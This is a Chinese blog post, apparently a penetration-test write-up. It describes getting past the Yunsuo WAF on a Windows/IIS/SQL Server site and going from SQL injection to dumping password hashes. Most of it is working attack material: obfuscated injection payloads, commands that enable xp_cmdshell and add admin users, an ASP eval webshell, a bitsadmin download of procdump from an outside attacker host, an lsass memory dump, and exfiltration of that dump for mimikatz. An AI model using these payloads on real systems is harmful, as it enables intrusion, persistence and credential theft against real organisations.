从sql注入到dump hash

作者: CSeroad | 来源:发表于2019-06-10 10:28 被阅读107次

前言

在初测某系统时,发现该系统存在文件上传,SQL注入等高危漏洞。
经过一段时间的整改。复测时发现系统的文件上传漏洞已经修复。但仍然存在SQL注入漏洞。只不过加了一层云锁的防护。

信息收集

IP为阿里云、windows+IIS+aspx+sql server、云锁的防护、80、1433、3389端口开放

sql注入

sql注入点还是初测的搜索框的注入。在云锁的防护下,无法使用sqlmap跑包。
会封IP。

image.png

笔者选择手动注入bypass
简单的payload

1%';execute('sel'%2b'ect convert(int,@@version)') -- 
1%';execute('sel'%2b'ect convert(int,user)') -- 
1%';if(select IS_SRVROLEMEMBER('sysadmin'))=1 waitfor delay '0:0:5' -- 
image.png image.png

笔者考虑到sqlserver数据库的庞大数据问题,以及上传漏洞被修复。可能进了管理后台也不存在上传漏洞。 且当前sqlserver为dbo用户,可以命令执行。
(还有一思路:利用dnslog读取sqlserver的密码,然后远程连接sqlserver数据库。尝试了多半个小时还是没法bypass)

命令执行

sqlserver执行系统需要开启xp_cmdshell组件。

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

执行时云锁并未拦截。
页面没有回显。不知道是否成功开启。
执行几条系统命令试试。

image.png
依然没有回显。
将命令执行输出到网站可访问的目录下。
(网站根目录是初测文件上传看到的)
image.png image.png

system的权限,再加上IP为阿里云,直接添加用户远程好啦。
哪知道,这才是刚刚开始。

1%';exec master.dbo.xp_cmdshell "whoami >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "dir >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "tasklist >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "net user admin 1234qwer.. /add >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "net user  >> c:\\xxx\\Admin\\1.txt"

几条命令执行后,竟然没法添加上用户。可能进程里存在防护。


image.png

陷入僵局······

思路一

通过echo写入asp一句话马,bypass 云锁可以使用include包含。
结果服务器500

echo ^<%eval request('x')%^> > c:\\wwwroot\\xxxx\Admin\\2.txt
echo ^<!--#include file='2.txt'--^> >  c:\\wwwroot\\xxxx\Admin\\2.asp
image.png

思路二

使用冰蝎自带的asp webshell。将源码base64编码后,certutil -encode 解码生成asp马。
结果字符长度有限制。


image.png

思路三

打算使用frp+metasploit,然后发现vps被封啦。
最后采用prodump+mimikatz读取windows密码

Procdump导出lsass.dmp

通过bitsadmin命令远程下载prodump文件到目标机上。
(因为vps不能用,笔者先将prodump64.exe上传到曾经被拿下且还存活的靶机上,再通过bitsadmin命令从靶机上下载prodump64.exe到目标机上。简单来说,相当于中转了一下)

bitsadmin /transfer myDownLoadJob /download /priority normal "http://111.xxxx:82/ArcGIS/procdump.exe" "C:\\Windows\\system32\\procdump.exe"

为了避免再次出现字符长度的限制,笔者选择下载到c:\windows\system\目录下
即sql server命令执行的目录。


image.png
procdump.exe -accepteula -ma lsass.exe lsass.dmp

Procdump导出lsass.dmp


image.png

再通过copy 到 c:\wwwroot\xxxx\admin\lsass.dmp

image.png

当访问的时候,竟然出现404。笔者一直以为copy命令有误。
dir查看该目录才发现这神奇的问题。


image.png

手动将lsass.dmp重命名为x.txt,成功下载。然后在本地上再重命名回dmp。就可以通过mimikatz读取hash

image.png image.png image.png

相关文章

  • 从sql注入到dump hash

    前言 在初测某系统时,发现该系统存在文件上传,SQL注入等高危漏洞。经过一段时间的整改。复测时发现系统的文件上传漏...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • Mybatis如何防止SQL注入

    Mybatis如何防止SQL注入 什么是SQL注入 sql注入是一种代码注入技术,将恶意的sql插入到被执行的字段...

  • 2018年9月13日.NET笔试面试题

    什么是SQL注入?如何避免SQL注入?所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求...

  • SQL性能优化原则-前言

    1、SQL执行过程客户端提交SQL->计算SQL字符的HASH值->从SQL缓存区中查找是否有相同的HASH值->...

  • SQL注入

    1 .什么是sql注入(Sql injection)? Sql注入是一种将sql代码添加到输入参数中,传递到Sql...

  • Mybatis 是如何实现防SQL注入攻击的

    想来了解这个问题,先了解下什么是sql注入攻击。 所谓sql注入攻击,顾名思义,就是sql语句(恶意的) 注入到正...

  • sql注入实例分析

    什么是SQL注入攻击?引用百度百科的解释: sql注入_百度百科: 所谓SQL注入,就是通过把SQL命令插入到We...

  • Java安全编程指南

    SQL注入防范 SQL注入指利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的攻击方法。Java程...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

网友评论

    本文标题:从sql注入到dump hash

    本文链接:https://www.haomeiwen.com/subject/vilaxctx.html